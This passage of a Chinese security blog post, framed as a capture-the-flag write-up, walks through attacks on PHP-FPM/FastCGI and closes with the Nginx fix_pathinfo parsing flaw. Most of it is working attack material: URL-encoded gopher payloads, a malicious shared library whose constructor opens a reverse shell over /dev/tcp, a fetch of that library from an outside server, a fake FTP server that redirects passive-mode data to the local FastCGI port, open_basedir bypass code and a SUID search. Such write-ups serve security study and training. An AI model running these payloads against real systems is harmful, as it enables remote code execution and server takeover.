    print("gopher://127.0.0.1:9000" + "/_" + request_ssrf)

不绕过disable_functions利用过程

先假设有个ssrf的界面

image-20210502124329172

不绕过disable_functions的情况时,直接构造payload进行攻击

image-20210502130252131

先将恶意so文件上传至/tmp目录(或者随便一个有权限的目录,记得改payload)

再生成payload

image-20210502133416331

直接打

gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%25B5%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI%252F1.0%250E%2504REQUEST_METHODPOST%250F%2516SCRIPT_FILENAME%252Fvar%252Fwww%252Fhtml%252Ftest.php%250B%2509SCRIPT_NAME%252Ftest.php%250B%2509REQUEST_URI%252Ftest.php%250FAPHP_ADMIN_VALUEallow_url_include%253DOn%250Aopen_basedir%253D%252F%250Aauto_prepend_file%253Dphp%253A%252F%252Finput%250F%2511SERVER_SOFTWAREphp%252Ffastcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP%252F1.1%250C%2521CONTENT_TYPEapplication%252Fx-www-form-urlencoded%250E%2502CONTENT_LENGTH18%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2512%2500%2500%253C%253Fphp+phpinfo%2528%2529%253B%253F%253E%2501%2505%2500%2501%2500%2500%2500%2500

image-20210502133459048

加载.so绕过disable_functions利用过程

先写一个扩展

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/xxxx/2333 0>&1'");
}

编译

gcc evil.c -fPIC -shared -o evil.so

至此我们的恶意so文件生成完毕,下一步

copy('http://vps/evil.so','/var/www/html/evil.so');

或直接用蚁剑上传

上传好so文件后,修改生成payload脚本如下(python版本的在类似点修改即可):

<?php
// 上面类的定义略过
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME = '/var/www/html/user.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '';
// 设置php_value利用php://input执行代码
// $PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n";
$res = $client->request(
                      array(
                            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
                            'REQUEST_METHOD' => 'POST',
                            'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
                            'SCRIPT_NAME' => $SCRIPT_NAME,
                            'REQUEST_URI' => $REQUEST_URI,
                            'PHP_ADMIN_VALUE'   => $PHP_ADMIN_VALUE,
                            'SERVER_SOFTWARE' => 'php/fastcgiclient',
                            'REMOTE_ADDR' => '127.0.0.1',
                            'REMOTE_PORT' => '9985',
                            'SERVER_ADDR' => '127.0.0.1',
                            'SERVER_PORT' => '80',
                            'SERVER_NAME' => 'localhost',
                            'SERVER_PROTOCOL' => 'HTTP/1.1',
                            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
                            'CONTENT_LENGTH' => strlen($content),
                                   ),
                      $content
                      );
// 这次不用二次编码了
echo('gopher://127.0.0.1:9000/_'.str_replace("%2B", "+", ($res)));

直接打,即可收到shell

unix socks模式下的fastcgi利用

前面已经说过了unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock来进行通信

所以必须在同一环境下,通过读取/run/php/php7.3-fpm.sock来进行通信,所以这个没办法远程攻击。

这个利用可以参考*CTF echohub攻击没有限制的php-fpm来绕过disable_function

攻击流程:

<?php
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));?>

这个原理也很简单就是通过php stream_socket_client建立一个unix socket连接,然后写入tcp流进行通信。

img

img

img

那么这个可不可以进行ssrf攻击呢 答案是否定的,因为他没有经过网络协议层,而ssrf能利用的就是网络协议,具体可以看我上面介绍unix 套接字原理。

利用FTP进行php-fpm未授权访问攻击

例题:[蓝帽杯 2021]One Pointer PHPhxp CTF resonator(无复现环境)

感谢buuctf,蓝帽复现环境提供的太及时了,太强了

第五届蓝帽杯和第四届区别真是。。。

参考链接:

https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/#i-6

https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/

https://zhuanlan.zhihu.com/p/343918026

源码就俩文件:

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

user.php

<?php
class User{
	public $count;
}
?>

第一部分整型溢出略过

第二部分可以通过eval执行代码,发现禁用了好多函数和类,而且做了open_basedir

disable_functions = stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

; This directive allows you to disable certain classes.
; http://php.net/disable-classes

disable_classes = Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException   Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

绕过open_basedir:

mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

可以读取到php.ini啥的,但是flag读取不了,查看权限显示为0400,绝对是要getshell后提权

phpinfo处显示有一个easy_bypass,这个应该是预期解,web pwn

image-20210502153907457

通过phpinfo还可以发现环境是FPM/FastCGI,绕过open_basedir读php.ini可以看到端口为9001

image-20210502154013951

考虑到可以通过攻击FPM来bypass

因为禁用了许多函数和类,普通的ssrf无法使用,但是ftp协议未被禁用

这篇文章讲的挺清楚:

https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/

ftp 协议相对比较复杂, 其中存在一个特性, 相信大家都听说过, 就是 ftp 的数据端口和指令端口是分开的, 我们平时所说的 21 号端口其实是 ftp 的指令端口, 用于发送指令, 比如认证用户和指定读取的文件. 但是如果是传输文件的内容, ftp 实际上会重新打开一个链接, 同时还分为两种模式, 被动模式和主动模式.

这里 wikipedia 讲的比较清楚, 我直接复制一段过来

FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

注意 被动模式只要求服务器端产生一个监听相应端口的进程, 这里有非常重要的一点, 这个被动模式的端口是服务器指定的, 而且还有一点是很多地方没有提到的, 实际上除了端口, 服务器的地址也是可以被指定的. 由于 ftp 和 http 类似, 协议内容全是纯文本, 我们可以很清晰的看到它是如何指定地址和端口的

227 Entering Passive Mode(192,168,9,2,4,8)

227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语, 而 (192,168,9,2,4,8) 代表让客户端连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口.
这样这个如何利用就很明显了, file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.

伪造FTP服务器

import socket

host = '0.0.0.0'
port = 2334
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("300 \n")
print '300'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,0,9001\n")
print '200'
print conn.recv(20)

conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()

生成payload

<?php
// 上面类的定义略过
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME = '/var/www/html/user.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '';
// 设置php_value利用php://input执行代码
// $PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n";
$res = $client->request(
                      array(
                            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
                            'REQUEST_METHOD' => 'POST',
                            'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
                            'SCRIPT_NAME' => $SCRIPT_NAME,
                            'REQUEST_URI' => $REQUEST_URI,
                            'PHP_ADMIN_VALUE'   => $PHP_ADMIN_VALUE,
                            'SERVER_SOFTWARE' => 'php/fastcgiclient',
                            'REMOTE_ADDR' => '127.0.0.1',
                            'REMOTE_PORT' => '9985',
                            'SERVER_ADDR' => '127.0.0.1',
                            'SERVER_PORT' => '80',
                            'SERVER_NAME' => 'localhost',
                            'SERVER_PROTOCOL' => 'HTTP/1.1',
                            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
                            'CONTENT_LENGTH' => strlen($content),
                                   ),
                      $content
                      );
// 这次也不用二次编码了
echo('gopher://127.0.0.1:9000/_'.str_replace("%2B", "+", ($res)));

攻击

将前文提到的恶意so文件编译好上传后

开启恶意ftp服务器

image-20210502154725106

构造file_put_contents

$file = $_GET['file'];
$data = $_GET['data'];
file_put_contents($file,$data);
//http://7e653797-b723-4b3a-8977-5558bdd011e8.node3.buuoj.cn/shell.php?file=ftp://47.104.134.135:2334/anything&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%A5%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F2PHP_ADMIN_VALUEextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evil.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00
//POST:
//a=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);

监听端口,发送请求即可收到shell

image-20210502155201812

image-20210502154940239

image-20210502154952216

flag没权限

image-20210502155046896

使用suid提权,查找有权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20210502155438554

php -a进入交互模式,进行绕过open_basedir并getflag

chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

image-20210502155624776

Nginx IIS7解析漏洞

Nginx(IIS7)解析漏洞

Nginx和IIS7曾经出现过一个PHP相关的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability),该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。

用户请求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:

{
    ...
    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
    'SCRIPT_NAME': '/favicon.ico/.php',
    'REQUEST_URI': '/favicon.ico/.php',
    'DOCUMENT_ROOT': '/var/www/html',
    ...
}

正常来说,SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php,是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。

所以,第一次fpm发现/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。

正确的解决方法有两种,一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!